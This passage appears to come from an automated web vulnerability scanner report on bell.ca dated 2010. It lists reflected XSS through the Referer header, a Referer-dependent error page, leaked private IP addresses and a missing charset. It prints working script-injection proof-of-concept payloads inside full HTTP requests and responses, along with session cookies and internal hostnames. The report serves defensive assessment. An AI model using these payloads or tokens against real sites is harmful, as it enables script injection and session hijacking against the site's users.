2.39. http://www.bell.ca/shopping/tpl-smallImageUrl [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/tpl-smallImageUrl

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 3abfa--><script>alert(1)</script>24942adf42c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /shopping/tpl-smallImageUrl HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=3abfa--><script>alert(1)</script>24942adf42c
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478955439%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/home/%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%25252526region%2525253DON%252526ot%25253DA%3B; gemini=region=ON|province=ON|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478963514%3B%20s_lv%3D1290477163518%7C1385085163518%3B%20s_lv_s%3DFirst%2520Visit%7C1290478963518%3B%20s_pv%3DShop%253AMobile%253ARate%2520plans%253ARtplanding%7C1290478963538%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":7,"to":4.2,"c":"http://www.bell.ca/shopping/PrsShpWls_RtpLanding.page","f":1290477163379,"lc":{"d0":{"v":4,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253DShop%2525253AMobile%2525253ARate%25252520plans%2525253ARtplanding%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fshopping%2525252FPrsShpWls_Solution_Builder.page%2525253FcreateSolution%2525253Dtrue%25252526uid%2525253D505079%252526ot%25253DA%3B; __g_c=w%3A1%7Cb%3A9%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; fsr.a=1290477168091

Response

HTTP/1.1 404 Not Found
Date: Tue, 23 Nov 2010 01:53:58 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Content-Length: 3645
Content-Type: text/html; charset=UTF-8


<html>
<head>
   <title>Page not found/Page non trouv..e bell </title>
   <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6
...[SNIP]...
<!-- Referrer is http://www.google.com/search?hl=en&q=3abfa--><script>alert(1)</script>24942adf42c -->
...[SNIP]...

2.40. http://www.bell.ca/shopping/web/wireless/all_languages/all_regions/catalog_images/icon/mobile/HTC_DesireZ_70785.jpg [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/web/wireless/all_languages/all_regions/catalog_images/icon/mobile/HTC_DesireZ_70785.jpg

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload ac085--><script>alert(1)</script>2445d0ca648 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /shopping/web/wireless/all_languages/all_regions/catalog_images/icon/mobile/HTC_DesireZ_70785.jpg HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=ac085--><script>alert(1)</script>2445d0ca648
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478955439%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/home/%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%25252526region%2525253DON%252526ot%25253DA%3B; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A9%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; fsr.s={"v":1,"rid":"1290476637978_715804","pv":8,"to":4.9,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477163379,"lc":{"d0":{"v":5,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478973047%3B%20s_lv%3D1290477173051%7C1385085173051%3B%20s_lv_s%3DFirst%2520Visit%7C1290478973051%3B%20s_pv%3DSolution%2520builder%7C1290478973063%3B

Response

HTTP/1.1 404 Not Found
Date: Tue, 23 Nov 2010 01:54:23 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Content-Length: 3645
Content-Type: text/html; charset=UTF-8


<html>
<head>
   <title>Page not found/Page non trouv..e bell </title>
   <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6
...[SNIP]...
<!-- Referrer is http://www.google.com/search?hl=en&q=ac085--><script>alert(1)</script>2445d0ca648 -->
...[SNIP]...

3. Referer-dependent response  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://internet.bell.ca
Path:   /favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/index.cfm

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defenses against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defenses against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET /favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/index.cfm?method=sso.init&content=minidashboard HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/script%3Eeb765000cc9
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=NS|myurl=CSQ|language=en; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; VOKEN_SEEN=0; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478575947%3B%20s_lv%3D1290476775951%7C1385084775951%3B%20s_lv_s%3DFirst%2520Visit%7C1290478575951%3B%20s_pv%3DShop%253AMobile%253ASmartphones%252C%2520phones%2520-%2520mobile%2520internet%253AProducts%2520details%7C1290478575972%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":4,"to":4.3,"c":"http://www.bell.ca/shopping/LG-Optimus-Quantumwith-Windows--Phone-7/70772.details","f":1290476775436,"lc":{"d0":{"v":2,"s":false}},"cd":0,"sd":0}; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; __utmc=250352478; __utmb=250352478.8.10.1290476758; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478723793%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=L6II3SSSeemV5AQpg6Kml0iIc24n3y6KzveGibXCtoI+3xJYnOhwIpxVmSr2GIBwI+E0oKyHNdNcTDrPXcSYVqGadDucasZ7tK70rfx22GODGp2Kmi2nK7MDzb5/NGENqkX5Seo/dJ35j/eBz4wy1PzTTnmL6oo7K6ud+64OcuZqf0pObrBEAtpWcduIq3v2Z9yfRuliL/qFxcck+wosvr6jNTKHz1OKgE6w92Y4fGnIEShSUAAeL2uL6Y9RER8MCBMgQUy/FzLRe7cWV7SXKztbgpBLLL40rFq4YG/CFWhcWQGBfuJ0mA==; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail

Response 1

HTTP/1.1 404 Not Found
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 02:04:47 GMT
Connection: close
Set-Cookie: SMSESSION=uzuvAixLS2LWtvPOkXUr5ywPbs0jsJwMkeW8MWsyNnBXA+fZuaF415L6Xf1qkBv8Y7s82YWNzOBsAXgW3ufMfdmDkofL/+8+eSMuVM6Cdsa8tykiwLjtJWlCYmqBynFXogVq8WV7u1dSJKPRXYUBFPEK1ISWVBFBr2Z/blgST1VM06HRNpHQk2LT3OHLSsaIC5GKExtnQfMcrI1qYCPdrqpvUIRL9k7IUvIzqn5U/vgBdCFgOPhfkK8FxZIbVIq6nYp/vH0Hp8JxQVbv39BfZjf45gdsl6nAC16ZB0OyTQ3CT7d+gEyWfw==; path=/
Content-Type: text/html; charset=ISO-8859-1

<!-- " ---></TD></TD></TD></TH></TH></TH></TR></TR></TR></TABLE></TABLE></TABLE></A></ABBREV></ACRONYM></ADDRESS></APPLET></AU></B></BANNER></BIG></BLINK></BLOCKQUOTE></BQ></CAPTION></CENTER></CITE></
...[SNIP]...
<font style="COLOR: black; FONT: 8pt/11pt verdana">http://internet.bell.ca/favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/script%3Eeb765000cc9</td>
   </tr>
   <tr>
    <td><font style="COLOR: black; FONT: 8pt/11pt verdana">Date/Time&nbsp;&nbsp;</td>
       <td><font style="COLOR: black; FONT: 8pt/11pt verdana">22-Nov-10 09:04 PM</td>
   </tr>                    
</table>
</td>
</tr>
</table>


<table width="500" cellpadding="0" cellspacing="0">
<tr>
<td valign="top">
<font style="FONT: 8pt/11pt verdana;">
Stack Trace
</td>
</tr>
<tr>
<td id="cf_stacktrace" >
<font style="COLOR: black; FONT: 8pt/11pt verdana">

<br />
<br />
<pre>coldfusion.runtime.TemplateNotFoundException: File not found: /favicon.ico9fc66&quot;&gt;&lt;script&gt;alert(1)&lt;/index.cfm
   at coldfusion.filter.PathFilter.invoke(PathFilter.java:77)
   at coldfusion.filter.ExceptionFilter.invoke(ExceptionFilter.java:47)
   at coldfusion.filter.ClientScopePersistenceFilter.invoke(ClientScopePersistenceFilter.java:28)
   at coldfusion.filter.BrowserFilter.invoke(BrowserFilter.java:35)
   at coldfusion.filter.GlobalsFilter.invoke(GlobalsFilter.java:43)
   at coldfusion.filter.DatasourceFilter.invoke(DatasourceFilter.java:22)
   at coldfusion.CfmServlet.service(CfmServlet.java:105)
   at jrun.servlet.ServletInvoker.invoke(ServletInvoker.java:91)
   at jrun.servlet.JRunInvokerChain.invokeNext(JRunInvokerChain.java:42)
   at jrun.servlet.JRunRequestDispatcher.invoke(JRunRequestDispatcher.java:257)
   at jrun.servlet.ServletEngineService.dispatch(ServletEngineService.java:541)
   at jrun.servlet.jrpp.JRunProxyService.invokeRunnable(JRunProxyService.java:204)
   at jrunx.scheduler.ThreadPool$DownstreamMetrics.invokeRunnable(ThreadPool.java:318)
   at jrunx.scheduler.ThreadPool$ThreadThrottle.invokeRunnable(ThreadPool.java:426)
   at jru
...[SNIP]...

Request 2

GET /favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/index.cfm?method=sso.init&content=minidashboard HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=NS|myurl=CSQ|language=en; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; VOKEN_SEEN=0; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478575947%3B%20s_lv%3D1290476775951%7C1385084775951%3B%20s_lv_s%3DFirst%2520Visit%7C1290478575951%3B%20s_pv%3DShop%253AMobile%253ASmartphones%252C%2520phones%2520-%2520mobile%2520internet%253AProducts%2520details%7C1290478575972%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":4,"to":4.3,"c":"http://www.bell.ca/shopping/LG-Optimus-Quantumwith-Windows--Phone-7/70772.details","f":1290476775436,"lc":{"d0":{"v":2,"s":false}},"cd":0,"sd":0}; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; __utmc=250352478; __utmb=250352478.8.10.1290476758; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478723793%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=L6II3SSSeemV5AQpg6Kml0iIc24n3y6KzveGibXCtoI+3xJYnOhwIpxVmSr2GIBwI+E0oKyHNdNcTDrPXcSYVqGadDucasZ7tK70rfx22GODGp2Kmi2nK7MDzb5/NGENqkX5Seo/dJ35j/eBz4wy1PzTTnmL6oo7K6ud+64OcuZqf0pObrBEAtpWcduIq3v2Z9yfRuliL/qFxcck+wosvr6jNTKHz1OKgE6w92Y4fGnIEShSUAAeL2uL6Y9RER8MCBMgQUy/FzLRe7cWV7SXKztbgpBLLL40rFq4YG/CFWhcWQGBfuJ0mA==; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail

Response 2

HTTP/1.1 404 Not Found
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 02:06:25 GMT
Connection: close
Set-Cookie: SMSESSION=mWB0VGYC9enX2FDb2lelByXnTogcNPMzjNhCtuCCE1D7fHJ4g2yWmaJVpaiUHYM0BgcJViwQHcFZoXQzmR/Zt/n7iOL1G5WvMMLffoTaHfPe3sFDifegpc/vPIwziJCd53ZHypJeiJ9z514dJMDwmachwFhfRToMXarobIaPSd9H+EiU6+THxDeVdbwpg1/1zSO5Aa0nYuLdCH32seGJdjnpEjdIVptn1vU1xomQPA4iRoEez+EdECDcM450ML2S3kBIeG0c4VHRMdwpsz7b/HrcEIsiZ8TM5B6Ns0cQRl2XNNrXIovgvg==; path=/
Content-Type: text/html; charset=ISO-8859-1

<!-- " ---></TD></TD></TD></TH></TH></TH></TR></TR></TR></TABLE></TABLE></TABLE></A></ABBREV></ACRONYM></ADDRESS></APPLET></AU></B></BANNER></BIG></BLINK></BLOCKQUOTE></BQ></CAPTION></CENTER></CITE></
...[SNIP]...
<font style="COLOR: black; FONT: 8pt/11pt verdana"></td>
   </tr>
   <tr>
    <td><font style="COLOR: black; FONT: 8pt/11pt verdana">Date/Time&nbsp;&nbsp;</td>
       <td><font style="COLOR: black; FONT: 8pt/11pt verdana">22-Nov-10 09:06 PM</td>
   </tr>                    
</table>
</td>
</tr>
</table>


<table width="500" cellpadding="0" cellspacing="0">
<tr>
<td valign="top">
<font style="FONT: 8pt/11pt verdana;">
Stack Trace
</td>
</tr>
<tr>
<td id="cf_stacktrace" >
<font style="COLOR: black; FONT: 8pt/11pt verdana">

<br />
<br />
<pre>coldfusion.runtime.TemplateNotFoundException: File not found: /favicon.ico9fc66&quot;&gt;&lt;script&gt;alert(1)&lt;/index.cfm
   at coldfusion.filter.PathFilter.invoke(PathFilter.java:77)
   at coldfusion.filter.ExceptionFilter.invoke(ExceptionFilter.java:47)
   at coldfusion.filter.ClientScopePersistenceFilter.invoke(ClientScopePersistenceFilter.java:28)
   at coldfusion.filter.BrowserFilter.invoke(BrowserFilter.java:35)
   at coldfusion.filter.GlobalsFilter.invoke(GlobalsFilter.java:43)
   at coldfusion.filter.DatasourceFilter.invoke(DatasourceFilter.java:22)
   at coldfusion.CfmServlet.service(CfmServlet.java:105)
   at jrun.servlet.ServletInvoker.invoke(ServletInvoker.java:91)
   at jrun.servlet.JRunInvokerChain.invokeNext(JRunInvokerChain.java:42)
   at jrun.servlet.JRunRequestDispatcher.invoke(JRunRequestDispatcher.java:257)
   at jrun.servlet.ServletEngineService.dispatch(ServletEngineService.java:541)
   at jrun.servlet.jrpp.JRunProxyService.invokeRunnable(JRunProxyService.java:204)
   at jrunx.scheduler.ThreadPool$DownstreamMetrics.invokeRunnable(ThreadPool.java:318)
   at jrunx.scheduler.ThreadPool$ThreadThrottle.invokeRunnable(ThreadPool.java:426)
   at jrunx.scheduler.ThreadPool$UpstreamMetrics.invokeRunnable(ThreadPool.java:264)
   at jrunx.sche
...[SNIP]...

4. Private IP addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /web/common/all_languages/all_regions/js/metrics/s_code_bell.js

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Issue background

RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.

Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.

Issue remediation

There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.

Request

GET /web/common/all_languages/all_regions/js/metrics/s_code_bell.js?v=10101901 HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://www.bell.ca/favico.ico
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A4%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479219522%3B%20s_lv%3D1290477419527%7C1385085419527%3B%20s_lv_s%3DFirst%2520Visit%7C1290479219527%3B%20s_pv%3DLogin%7C1290479219547%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":13,"to":5,"c":"https://www.bell.ca/home/Home_L_Login.page","f":1290477409747,"lc":{"d0":{"v":9,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_sess=%20s_oSRC%3D1%3B%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253DShop%2525253AMobile%2525253ASolution%25252520builder%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fshopping%2525252Fpopups%2525252Fpersonal%2525252FstoreLocator%2525252Fslmap.jsp%252526ot%25253DA%3B; s_pers=%20s_pv%3Dnb%253Ac%253AstoreLocator%253ASearchResults%2528en-on%2529%7C1290479285259%3B; s_sess=%20s_pvt%3D%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Last-Modified: Thu, 04 Nov 2010 06:26:03 GMT
Accept-Ranges: bytes
ETag: "808f7827e97bcb1:eaeb"
Vary: Accept-Encoding
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Date: Tue, 23 Nov 2010 02:06:02 GMT
Content-Length: 116643

...//10110401
function bws_initConsole(){if(!window.console||!console.firebug){var b=["log","debug","info","warn","error","assert","dir","dirxml","group","groupEnd","time","timeEnd","count","trace","
...[SNIP]...
==null){return""}else{return b[1]}}BellAnalytics.settings=function(g,x,o){try{var n=[];var w=[];var B=window.location.hostname,k="bellca",a="localhost,local,bidev.bell.ca,biqa,127.0.0.1,devapp,sm1,dc1,172.26.25.7,d00,eg1,egn,belldev,biqa,bidev,bellbbpdev,b10,bellcadev102",m="celebritygala,emergis,ges,solo,207.139.181,expressvu,ebill,bellbundles,workopolis,207.139.181.108/ld,3.bell.ca,expressvu.logient.com,bell
...[SNIP]...

5. HTML does not specify charset  previous  next
There are 2 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.


5.1. http://www.bell.ca/favico.ico  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /favico.ico

Request

GET /favico.ico HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A4%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479219522%3B%20s_lv%3D1290477419527%7C1385085419527%3B%20s_lv_s%3DFirst%2520Visit%7C1290479219527%3B%20s_pv%3DLogin%7C1290479219547%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":13,"to":5,"c":"https://www.bell.ca/home/Home_L_Login.page","f":1290477409747,"lc":{"d0":{"v":9,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_sess=%20s_oSRC%3D1%3B%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253DShop%2525253AMobile%2525253ASolution%25252520builder%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fshopping%2525252Fpopups%2525252Fpersonal%2525252FstoreLocator%2525252Fslmap.jsp%252526ot%25253DA%3B; s_pers=%20s_pv%3Dnb%253Ac%253AstoreLocator%253ASearchResults%2528en-on%2529%7C1290479285259%3B; s_sess=%20s_pvt%3D%3B%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response

HTTP/1.1 404 Not Found
Content-Length: 3604
Content-Type: text/html
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Date: Tue, 23 Nov 2010 02:06:01 GMT


<html>
<head>
   <title>Page not found/Page non trouv.e</title>
   <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6]>
<link rel="st
...[SNIP]...

